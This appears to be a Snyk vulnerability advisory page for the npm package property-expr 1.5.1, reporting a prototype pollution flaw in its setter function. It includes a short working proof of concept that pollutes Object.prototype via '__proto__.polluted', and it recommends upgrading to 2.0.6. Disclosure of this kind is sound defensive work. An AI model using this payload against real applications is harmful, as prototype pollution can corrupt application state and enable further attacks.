org.webjars.npm:property-expr@1.5.1 vulnerabilities

  • latest version

    2.0.6

  • latest non vulnerable version

  • first published

    4 years ago

  • latest version published

    4 months ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:property-expr package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • C
Prototype Pollution

org.webjars.npm:property-expr is a tiny util for getting and setting deep object props safely

Affected versions of this package are vulnerable to Prototype Pollution via the setter function.

POC

var expr = require('property-expr');
expr.setter('__proto__.polluted')({}, true);
console.log(polluted); // true

How to fix Prototype Pollution?

Upgrade org.webjars.npm:property-expr to version 2.0.6 or higher.

[,2.0.6)